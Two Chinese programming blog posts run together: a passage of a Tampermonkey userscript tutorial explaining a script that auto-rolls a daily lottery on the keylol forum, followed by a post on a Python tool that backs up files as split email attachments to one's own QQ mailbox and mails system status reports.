它没有id属性，但是它的class名称独一无二，所以我们可以直接用document.querySelector('.item-thumb')获取到DOM元素 let a = document.querySelector('.item-thumb'); 修改元素的背景图 a.style.backgroundImage='url(/usr/customize/logo.png)'; 添加点击事件 a.addEventListener('click',() => { a.style.background='#f0f'; }); 点一下以后背景变成了品红色 最后我们编写油猴脚本，让这一切自动完成 // ==UserScript== // @name 第一个油猴脚本 // @namespace http://blog.chrxw.com/ // @version 0.1 // @description hello world // @author Chr_ // @match https://blog.chrxw.com/about.html // @grant none // ==/UserScript== (() => { 'use strict'; let a = document.querySelector('.item-thumb'); a.style.backgroundImage='url(/usr/customize/logo.png)'; a.addEventListener('click',() => { a.style.background='#f0f'; }); // Your code here... })(); 保存脚本以后，刷新页面，可以看到元素的背景图片已经改掉了，说明脚本运行成功了。 0x06 脚本实战，Auto_Sub3 脚本获取链接：Auto_Sub3 脚本功能 安装脚本以后，首页可以打开一个面板，主要功能是一键-3 元信息 // ==UserScript== // @name Auto_Sub3 // @namespace https://blog.chrxw.com // @version 2.1 // @description 一键快乐-3 // @author Chr_ // @include https://keylol.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @grant GM_setValue // @grant GM_getValue // @grant GM_xmlhttpRequest // ==/UserScript== 元信息提供了这个脚本的基本信息，我们还可以知道，它申请了GM_setValue,GM_getValue和GM_xmlhttpRequest三个特殊权限 代码总览 // 上次-3时间 let VLast = 0; // 今天还能不能-3 let VCan3 = true; // 自动展开 let VShow = false; // 自动-3 let VAuto = false; // 音效载入 let sound = new Audio("https://blog.chrxw.com/usr/keylol/gas.mp3"); (function () { // 每次加载以后从这里运行 'use strict'; loadCFG(); addBtns(); if (VShow) { switchPanel(); } if (VCan3 && VAuto) { autoRoll(); } })(); // 添加GUI function addBtns() { ... } // 显示小轮盘 function showLiteRoll() { ... } // 自动打开面板 function fBtnShow() { ... } // 自动-3 function fBtnAuto() { ... } // 显示布尔 function bool2txt(bool) { ... } // 隐藏面板 function switchPanel() { ... } // 读取设置 function loadCFG() { ... } // 保存设置 function saveCFG() { ... } // 检查能否-3 function checkZP() { ... } // 禁止-3 function disableS3() { ... } // 自动-3 function autoRoll() { ... } 先不用太纠结代码，建议先用调试模式看一下代码流程 脚本调试模式 在设置里可以打开调试模式，开启以后在加载完脚本以后会自动暂停，可以用来动态调试脚本 打开调试模式以后，先打开开发者工具，然后刷新页面，可以看到暂停在debugger语句上了 给我们感兴趣的函数添加断点，然后点“继续运行（F8）” 可以自己尝试跟踪一下每个函数的运行过程，不再赘述 代码详解 脚本入口 // 上次-3时间 let VLast = 0; // 今天还能不能-3 let VCan3 = true; // 自动展开 let VShow = false; // 自动-3 let VAuto = false; // 音效载入 let sound = new Audio("https://blog.chrxw.com/usr/keylol/gas.mp3"); (function () { 'use strict'; loadCFG(); addBtns(); if (VShow) { switchPanel(); } if (VCan3 && VAuto) { autoRoll(); } })(); 首先定义了5个全局变量，然后运行了匿名函数，在这个匿名函数里完成了脚本的初始化工作 在匿名函数内部调用了这么几个函数：loadCFG，addBtns，switchPanel，autoRoll loadCFG/saveCFG - 读写配置 // 读取设置 function loadCFG() { let t = null; t = GM_getValue('VLast'); t = Number(t); if (t != t) { t = 0; } VLast = t; t = GM_getValue('VCan3'); VCan3 = Boolean(t); t = GM_getValue('VShow'); VShow = Boolean(t); t = GM_getValue('VAuto'); VAuto = Boolean(t); // 日期变更,重置VCan3 let d = new Date(); let day = d.getDate(); let hour = d.getHours(); if (day != VLast && hour >= 8) { VCan3 = true; VLast = day; } saveCFG(); } // 保存设置 function saveCFG() { GM_setValue('VLast', VLast); GM_setValue('VCan3', VCan3); GM_setValue('VShow', VShow); GM_setValue('VAuto', VAuto); } 脚本保存数据的方法有很多种，可以利用原生的Cookie，也可以利用HTML5标准中的LocalStorge，但是这两个地方只能保存文本，我们还需要自行完成类型转换，非常不方便，所以我用的是油猴自带的储存空间 // 需要在元信息里提前申明，才可以使用 // @grant GM_setValue // @grant GM_getValue GM_setValue( 键名 , 键值)，保存某个值 GM_getValue( 键名 )，如果键名不存在，返回null 可以在脚本编辑器的储存TAB看到当前脚本的储存空间 saveCFG非常简单，就是把4个全局变量保存起来 loadCFG也很简单，就是从储存空间读取4个变量，然后获取现在的时间和日期，判断日期有没有变更，如果日期变了，并且当前小时数大于8，就把Vcan3赋值成true，然后把VLast改成今天的日期，最后调用saveCFG保存4个全局变量 addBtns - 添加GUI // 添加GUI function addBtns() { function genButton(text, foo, id) { let b = document.createElement('button');//创建类型为button的DOM对象 b.textContent = text; //修改内部文本为text b.style.cssText = 'margin: 3px 5px;' //添加样式（margin可以让元素间隔开一定距离） b.addEventListener('click', foo); //绑定click的事件的监听器 if (id) { b.id = id; } //如果传入了id，就修改DOM对象的id return b; //返回修改好的DOM对象 } function genDiv(cls) { let d = document.createElement('div'); //创建类型为div的DOM对象 if (cls) { d.className = cls }; //如果传入了cls，就修改DOM对象的class return d; //返回修改好的DOM对象 } function genPanel(name, visiable) { let p = genDiv(name); //创建类型为div，class为name的DOM对象 p.id = name; //修改DOM对象的id为name p.style.cssText = 'width: 100%;height: 100%;';//修改DOM对象的样式（占满父容器） if (!visiable) { p.style.display = 'none'; }//修改DOM对象的样式（不可见） return p; //返回修改好的DOM对象 } //使用CSS选择器获取对象 let btnSwitch = document.querySelector('.index_left_title>div'); if (btnSwitch == null) { return; } btnSwitch.id = 'btnSwitch1'; btnSwitch.title = '点这里开启/隐藏控制面板'; btnSwitch.style.cssText = 'width: auto;padding: 0 5px;cursor: pointer;'; btnSwitch.addEventListener('click', switchPanel); let panelArea = document.querySelector('.index_navi_left'); let panelOri = document.querySelector('.index_left_detail'); panelOri.id = 'panelOri' let panel54 = genPanel('panel54'); let aLP = document.createElement('a'); aLP.href = 'https://keylol.com/t571093-1-1'; let img54 = document.createElement('img'); img54.src = 'https://gitee.com/chr_a1/gm_scripts/raw/master/index.png'; img54.alt = '总之这里是54的名言'; img54.style.cssText = 'float: right;margin-top: -28px;height: 100%;' aLP.appendChild(img54); let btnArea = genDiv('btnArea'); btnArea.style.cssText = 'width: 210px;text-align: center;margin-top: -10px;'; let btnS3 = genButton('【一键-3】', autoRoll, 'btnS3'); if (!VCan3) { btnS3.style.textDecoration = 'line-through'; btnS3.textContent = '今天已经不能-3了'; } let btnShow = genButton(bool2txt(VShow) + '自动打开面板', fBtnShow, 'btnShow'); let btnAuto = genButton(bool2txt(VAuto) + '自动每日-3', fBtnAuto, 'btnAuto'); btnArea.appendChild(btnS3); btnArea.appendChild(btnShow); btnArea.appendChild(btnAuto); panel54.appendChild(aLP); panel54.appendChild(btnArea); panelArea.insertBefore(panel54, panelArea.children[1]); } 看着很长，实际上很简单，首先定义了3和内部函数genButton，genDiv，genPanel，用来生成我们需要的DOM元素 然后尝试用选择器获取DOM对象 let btnSwitch = document.querySelector('.index_left_title>div');//使用CSS选择器获取DOM对象 if (btnSwitch == null) { return; } //如果页面中不存在这个对象，就直接返回，结束运行 btnSwitch.id = 'btnSwitch1'; //添加id属性 btnSwitch.title = '点这里开启/隐藏控制面板'; //添加title属性（鼠标悬停的时候显示的文本） btnSwitch.style.cssText = 'width: auto;padding: 0 5px;cursor: pointer;';//添加CSS样式 btnSwitch.addEventListener('click', switchPanel);//绑定click事件的回调函数为switchPanel 可以利用开发者工具看一下是哪个对象 剩下的部分也很好理解，创建3个button对象，1个img对象，依次添加到名为panel54的div对象里，最后再把panel54添加到panelArea中 let panelArea = document.querySelector('.index_navi_left'); let panelOri = document.querySelector('.index_left_detail'); panelOri.id = 'panelOri' let panel54 = genPanel('panel54'); let aLP = document.createElement('a'); aLP.href = 'https://keylol.com/t571093-1-1'; let img54 = document.createElement('img'); img54.src = 'https://gitee.com/chr_a1/gm_scripts/raw/master/index.png'; img54.alt = '总之这里是54的名言'; img54.style.cssText = 'float: right;margin-top: -28px;height: 100%;' aLP.appendChild(img54); let btnArea = genDiv('btnArea'); btnArea.style.cssText = 'width: 210px;text-align: center;margin-top: -10px;'; let btnS3 = genButton('【一键-3】', autoRoll, 'btnS3'); if (!VCan3) { btnS3.style.textDecoration = 'line-through'; btnS3.textContent = '今天已经不能-3了'; } let btnShow = genButton(bool2txt(VShow) + '自动打开面板', fBtnShow, 'btnShow'); let btnAuto = genButton(bool2txt(VAuto) + '自动每日-3', fBtnAuto, 'btnAuto'); btnArea.appendChild(btnS3); btnArea.appendChild(btnShow); btnArea.appendChild(btnAuto); panel54.appendChild(aLP); panel54.appendChild(btnArea); panelArea.insertBefore(panel54, panelArea.children[1]); 通过switchPanel，可以切换显示原来的元素和脚本的面板 // 隐藏面板 function switchPanel() { let panel1 = document.getElementById('panel54'); let panel2 = document.getElementById('panelOri'); if (panel1.style.display == 'none') { btnSwitch1.textContent = '今天你【-3】了吗 - By Chr_'; panel1.style.display = 'block'; panel2.style.display = 'none'; } else { btnSwitch1.textContent = '关注重点'; panel1.style.display = 'none'; panel2.style.display = 'block'; } } 运行效果： autoRoll - 自动-3 最后我们看一下核心功能，自动-3 // 自动-3 function autoRoll() { try { sound.play(); } catch (e) { console.error(e); } let v = 0; gethash(); function gethash() { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43', onload: function (response) { if (response.status == 200) { let m = response.responseText.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/); let hash = m ? m[1] : null; console.log(hash); if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } } else { console.error('出错'); } } }); } function roll(hash) { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=' + hash + '&roll', onload: function (response) { if (response.status == 200) { console.log(response.responseText); } else { console.error('出错') } if (++v == 3) { disableS3(); saveCFG(); } } }); } } 乍一看非常复杂，实际上也很好理解 try { sound.play(); } catch (e) { console.error(e); } let v = 0; gethash(); 首先调用sound.play()，播放蒸汽泄漏的音效，sound是全局变量，会在网页载入的时候自动加载音频资源，如果遇到错误就忽略错误（比如网络问题加载音频失败的话就会报错） 然后调用了gethash方法 function gethash() { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43', onload: function (response) { if (response.status == 200) { let m = response.responseText.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/); let hash = m ? m[1] : null; console.log(hash); if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } } else { console.error('出错'); } } }); } 这个函数使用了GM_xmlhttpRequest，这个东西是一个网络请求器，深入了解可以参考官方文档（英语），GM_xmlhttpRequest类似于xmlHttpRequest，两者用法几乎一样，只是GM_xmlhttpRequest不存在跨域的问题 // 需要先在元信息里申明，才可以使用 // @grant GM_xmlhttpRequest 简单的用法如下 GM_xmlhttpRequest({ method: '', //请求方法，可以是 GET POST HEAD 等 url: '', //请求路径，简单的说就是url onload: (response) => { //请求被响应时执行，response是接受到的响应的对象 //response.status，获取响应代码（200代表请求成功,4xx和5xx代表请求出错） //response.responseText，获取响应文本，本例中获取到的是HTML文本 //response.responseXML，获取XML格式的响应文本 } }); 看到onload的回调函数部分 onload: (response) => { if (response.status == 200) { let m = response.responseText.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/); let hash = m ? m[1] : null; console.log(hash); if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } } else { console.error('出错'); } } 首先判断状态码是不是200（代表请求成功），请求成功才会处理响应的内容 可以在浏览器中打开链接，用开发者工具模拟一下处理过程 我们把响应的内容当做纯文本处理，使用正则表达式提取想要的内容 正则表达式深入学习可以参考这个：正则表达式 - 语法 let a = document.body.innerHTML; console.log(a.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/)); 简单的讲一下上面的正则表达式是什么意思 /plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/ // 两边的 / 就是告诉解释器里面是正则表达式，没别的意思 // 按照不同元素拆分，如下： // plugin - 匹配“plugin”这个字符串 // \. - 匹配“.”，“.”原来有别的意思，在前面加“\”转义以后就只有字面意思了 // id=steamcn_lottery:view&lottery_id=43&hash= - 匹配一整串字符串 // (.+) - “()”是子匹配的意思，“.+”意思是匹配至少一个字符 // - “(.+)”的意思是不仅要匹配至少一个字符，而且匹配到的文本需要返回 // &roll - 匹配“&roll”这个字符串 简单点说就是先找到plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=[XXXXXXX]&roll这一串字符串，然后提取中间的XXXXXXX 执行效果如下，可以看到返回了一个数组，第一个元素是匹配到的字符串，第二个元素是子匹配项，我们只需要子匹配项，也就是8b51a2d3（这个值不同用户是不一样的，所以需要动态获取） 然后就是赋值操作，用到了三目运算符号 let hash = m ? m[1] : null; // D = A ? B : C // 等价于： if(A){ D = B; }else{ D = C; } // 当A的逻辑意义为true时，返回值为B // 当A的逻辑意义为false时，返回值为C // 类似这样 let a = true ? 1 : 2; // a = 1 let a = false ? 1 : 2; // a = 2 如果正则表达式没有匹配到合适的字符串，返回的内容是null，逻辑意义等于false，这时候hash的值就取null 如果正则表达式匹配到了合适的字符串，返回的内容是数组，逻辑意义等于true，这时候hash的值就取数组的第2个元素 然后根据hash决定是不是要继续运行 if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } 最后是roll函数，核心也是一个网络请求器 function roll(hash) { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=' + hash + '&roll', onload: function (response) { if (response.status == 200) { console.log(response.responseText); } else { console.error('出错') } if (++v == 3) { disableS3(); saveCFG(); } } }); } 实际上就是访问https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=[XXXXXXX]&roll这个网站，然后把响应结果打印出来 可以根据上一步得到的hash在浏览器中试一下 调用以后，会自增v，如果v = 3，就调用disableS3和saveCFG，修改了按钮的名称，然后保存全局变量
前言 我是QQ邮箱的老用户了，QQ邮箱很早就有“无限空间”的服务，我用到现在才用了700MB左右的空间，前几天看到知乎有人尝试过用QQ邮箱备份文件，就花了点时间自己实现了一个。 开整 一些链接 源码：GitHub QQ邮箱的限制 QQ邮箱写明的限制： 普通邮件的附件最大为50M，邮件正文+普通附件最大为55M。 一个账号一天内发送的普通附件上限200M。 QQ邮箱可存储邮件的数量是500000封。 QQ邮箱没有写明的限制： 一个账号一天能接收的附件上限约为300M。 可知QQ邮箱理论容量上限约为 50000 * 55MB ≈ 26.2TB，不过也很难用完就是了。 文件处理 因为有附件总大小不50MB的限制，所以有必要做一个文件切割，分包的工作。 生成文件列表 def sort_file_list(dir_path: list) -> list: '''根据目录生成文件列表，并按照文件尺寸从大到小的顺序排序 参数： 目录路径 返回： 排过序的目录列表，每个元素为[(文件名,文件路径,文件尺寸),] ''' try: files = [] with Path(dir_path) as p: for x in p.iterdir(): # 只处理文件 if x.is_file(): file_path = str(PurePath(dir_path, x.name)) file_size = x.stat().st_size files.append((file_path, x.name, file_size)) files.sort(key=lambda x: x[2], reverse=True) except FileNotFoundError: print(f'**目录[{dir_path}]不存在**') return(files) 文件切分、分组 def group_file_by_size(file_list: list, max_size: int = 50331648, min_size: int = 1048576) -> (list, list): '''把文件切分、打包成合适的大小 参数： 有序文件列表(需要先按照文件尺寸排序(sort_file_list)) 文件组的最大大小(字节) 文件切片的最小大小(字节)(防止出现非常小的切片) 返回： 文件信息列表,[(文件名,路径,总文件块数,总大小),] 文件块列表,[(文件名,索引,文件块数,起始字节,读取字节),] ''' file_info = [] # 记录文件名，路径，文件切片数(不切片为0) group_list = [] # 记录文件分组(文件名,起始,大小,尺寸) group = [] # 文件组变量 used_size = 0 # 已用空间 while len(file_list): # 三个状态： # 空的组，pop第一个文件，切分塞入 # 组非空，找到最适合的文件塞入 # 组非空，找不到适合的文件，关闭组，开启下一组。 if used_size == 0: # 新的附件空间 free_size = max_size # 取出一个文件 file_path, file_name, file_size = file_list.pop(0) f_size = file_size piece = 0 # 文件块数数(0=不切割) start = 0 # 文件首字节 size = 0 # 文件结束字节 while file_size > 0: if file_size >= max_size: # 文件剩余部分大于等于空闲空间 file_size -= max_size size = max_size piece += 1 used_size = 0 group_list.append( #[(f'{file_name}.[{piece}]', start, size)] [(file_name, len(file_info), piece, start, size)] ) start += max_size else: # 文件剩余部分小于空闲空间 size = file_size if piece: piece += 1 used_size = file_size file_size = 0 # 开始一个文件组 group = [ #(f'{file_name}{f".[{piece}]" if piece else None}', start, size) (file_name, len(file_info), piece, start, size) ] file_info.append((file_name, file_path, piece, f_size)) if not file_list: # 已经是最后一个文件 group_list.append(group) else: # 已经有文件的空间 free_size = max_size - used_size # smallest_size = file_list[-1][2] if file_list[-1][2] <= free_size: # 空闲空间足够大，无需切割 # 寻找能放得下的最大的文件 for i, f in enumerate(file_list, 0): if f[2] <= free_size: break file_path, file_name, file_size = file_list.pop(i) f_size = file_size start = 0 size = file_size used_size += file_size group.append((file_name, len(file_info), 0, start, size)) file_info.append((file_name, file_path, 0, f_size)) if not file_list: # 已经是最后一个文件 group_list.append(group) else: # 最小文件大小大于空闲空间 if free_size > min_size: # 无法放下任何文件,但是允许切分文件 file_path, file_name, file_size = file_list.pop(0) f_size = file_size file_size -= free_size piece = 1 start = 0 size = free_size # 切分第一部分 group.append( #(f'{file_name}.[{piece}]', start, size) (file_name, len(file_info), piece, start, size) ) group_list.append(group) start += size used_size = 0 group = [] # 安排文件的后续部分 while file_size > 0: if file_size >= max_size: # 后续部分大于等于最大空间 file_size -= max_size size = max_size piece += 1 # 直接封装文件组 group_list.append( #[(f'{file_name}.[{piece}]', start, size)] [(file_name, len(file_info), piece, start, size)] ) start += size else: # 后续部分小于最大空间 size = file_size piece += 1 used_size = file_size file_size = 0 # 开始一个文件组 group = [ #(f'{file_name}.[{piece}]', start, size) (file_name, len(file_info), piece, start, size) ] file_info.append( (file_name, file_path, piece, f_size)) if not file_list: # 已经是最后一个文件 group_list.append(group) else: # 无法放下任何文件，不允许切分文件，开始新组 group_list.append(group) group = [] used_size = 0 return((file_info, group_list)) 这里我设计了两个阈值，max_size控制一个文件组的最大尺寸，min_size控制一个文件切片的最小尺寸，防止出现非常零碎的碎片。 组装文件，为发信做准备 def pack_file(file_info, file_group) -> list: '''按照文件组读取文件，两个参数可以用group_file_by_size获取 参数： 文件信息列表 文件组列表 返回： 文件内容列表[(文件名,文件二进制数据),] ''' pack_list = [] for name, index, piece, start, size in file_group: try: path = file_info[index][1] with open(path, 'rb') as f: f.seek(start) content = f.read(size) if piece: pack_list.append((f'{name}.[{piece}]', content)) else: pack_list.append((name, content)) except FileNotFoundError: print(f'**文件{name}不存在**') except IndexError: print('**索引越界，请检查传入列表是否对应**') return(pack_list) 发送电邮 import smtplib from email.header import Header from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.application import MIMEApplication def send_email(subject: str, message: str, attact_list: list = []): '''发送邮件 参数： 邮件主题 邮件正文 邮件附件列表，列表中每个元素为(文件名,字节集) ''' mailobj = MIMEMultipart() mailobj['From'] = Header(f"{email_from}<{email_sender}>", 'utf-8') mailobj['To'] = Header(f"{email_to}<{email_receiver}>", 'utf-8') mailobj['Subject'] = Header(subject, 'utf-8') mailobj.attach(MIMEText(message, 'plain', 'utf-8')) if attact_list: for name, content in attact_list: part = MIMEApplication(content) part.add_header('Content-Disposition', 'attachment', filename=name) mailobj.attach(part) with smtplib.SMTP_SSL(host=smtp_host, port=smtp_port) as smtpObj: smtpObj.connect(host=smtp_host, port=smtp_port) smtpObj.login(smtp_user, smtp_pass) smtpObj.sendmail(email_sender, email_receiver, mailobj.as_string()) From和To的部分其实写的不是很规范，但是QQ邮箱能正确识别，应该问题也不大。 生成系统报告 import psutil def gen_sys_info() -> (str, list): '''生成简单的系统状态文本，会产生5秒延时 返回： 系统状态清单 警告信息 ''' def graph_process(percent: int, length: int = 15): '''生成进度条，percent为进度[0-100]，length为长度''' percent_count = int(length*percent/100) return(f'{str(percent).rjust(4)}% [{"#"*percent_count}{"_"*(length-percent_count)}]') def check_status(): '''判断数值是否异常''' warns = [] if cpu_percent >= 95: warns.append(' CPU负载过高\n') if mem_percent >= 95: warns.append(' 内存占用过高\n') for load in cpu_load: if load+0.3 >= cpu_trade: warns.append(' 系统负载过高\n') break for usage in disk_percent: if usage >= 95: warns.append(' 磁盘空间不足\n') break if warns: return(f'警告信息：\n{"".join(warns)}\n') else: return(False) uname = platform.uname() sys_hostname = uname.node sys_type = uname.system if sys_type == 'Linux': sys_version = ' '.join(platform.dist()) else: sys_version = f'{uname.system} {uname.version}' time_boot = datetime.fromtimestamp(psutil.boot_time()) time_curr = datetime.now() time_pass = time_curr - time_boot cpu_percent = psutil.cpu_percent() cpu_core = psutil.cpu_count(logical=False) cpu_trade = psutil.cpu_count(logical=True) cpu_load = psutil.getloadavg() mem = psutil.virtual_memory() mem_total = mem.total mem_used = mem.used mem_percent = mem.percent disk_info = [] disk_percent = [] for d in psutil.disk_partitions(): if d.fstype: usage = psutil.disk_usage(d.mountpoint) d_total = usage.total d_used = usage.used d_percent = usage.percent disk_percent.append(d_percent) disk_info.append( f'磁盘{d.mountpoint.ljust(9)}: ' f'{graph_process(d_percent)} ' f'{size2str(d_used)}/{size2str(d_total)}\n') else: d_total = 0 d_used = 0 d_percent = 0 disk_info.append( f'磁盘{d.mountpoint.ljust(9)}: {graph_process(0)} 不可用\n') net_old = psutil.net_io_counters() sleep(5) net = psutil.net_io_counters() net_send_s = (net.bytes_sent - net_old.bytes_sent)//5 net_recv_s = (net.bytes_recv - net_old.bytes_recv)//5 net_send = net.bytes_sent net_recv = net.bytes_recv user_info = [] for i, user in enumerate(psutil.users(), 1): u_name = user.name u_host = user.host u_start = user.started user_info.append(f' {i}. {u_name} [{u_host}] 自 ' f'{datetime2str(datetime.fromtimestamp(u_start))}\n') warns = check_status() msg = (f'{"系统状态".center(50,"=")}\n' f'{warns if warns else ""}' f'主机名称{" "*6}：{sys_hostname}\n' f'系统版本{" "*6}：{sys_version}\n' '\n' f'当前时间{" "*6}：{datetime2str(time_curr)}\n' f'运行时间{" "*6}：{time_pass.days}天{int(time_pass.seconds//3600)}时\n' f'平均负载{" "*6}：{cpu_load[0]} {cpu_load[1]} {cpu_load[2]}\n' '\n' f'CPU使用{" "*6}：{graph_process(cpu_percent)} ' f'{cpu_core}C{cpu_trade}T\n' f'内存使用{" "*6}：{graph_process(mem_percent)} ' f'{size2str(mem_used)}/{size2str(mem_total)}\n' f'{"".join(disk_info)}\n' f'当前流量{" "*6}：{size2str(net_send_s)}/S 发送 {size2str(net_recv_s)}/S 接收\n' f'累计流量{" "*6}：{size2str(net_send)} 发送 {size2str(net_recv)} 接收\n' '\n' f'登陆用户{" "*6}：\n{"".join(user_info) if user_info else " 无登录用户"}' ) return (msg, warns) 顺便写了个生成系统报告的功能。 部署方法 Linux 下载程序 git clone https://github.com/chr233/backup_by_mail cd backup_by_mail chmod 755 run.py mv config.py.example config.py 配置SMTP服务器 # SMTP邮箱设置 smtp_user = 'xxxxxx@qq.com' smtp_pass = 'xxxxxxxxx' smtp_host = 'smtp.qq.com' smtp_port = 465 # 发件邮箱，收件邮箱 email_sender = 'xxxxxx@qq.com' email_reveive = 'xxxxxx@qq.com' # 收发人昵称，可以为空 email_from = '邮件备份工具' email_to = '' # 自定义主机名，显示在邮件主题中，便于区分 # 留空使用计算机主机名 host_name = '土豆服务器' 使用示例： # 发送系统报告 ./run.py # 发送文件备份 ./run.py 要备份的文件目录 使用Cron添加计划任务即可自动执行 # 每天0点0分发送系统报告 0 0 * * * /root/backup_by_mail/run.py > /dev/null 2>&1 # 每天0点0分发送文件备份 0 0 * * * /root/backup_by_mail/run.py 要备份文件所在目录 > /dev/null 2>&1 Windows 下载源码 链接 配置SMTP服务器 (同上) 添加到计划任务或者手动运行 效果图： 切片文件还原方法 A和B为文件碎片，C为拼接后的完整文件 Linux cat A B > C Windows copy /b A + B C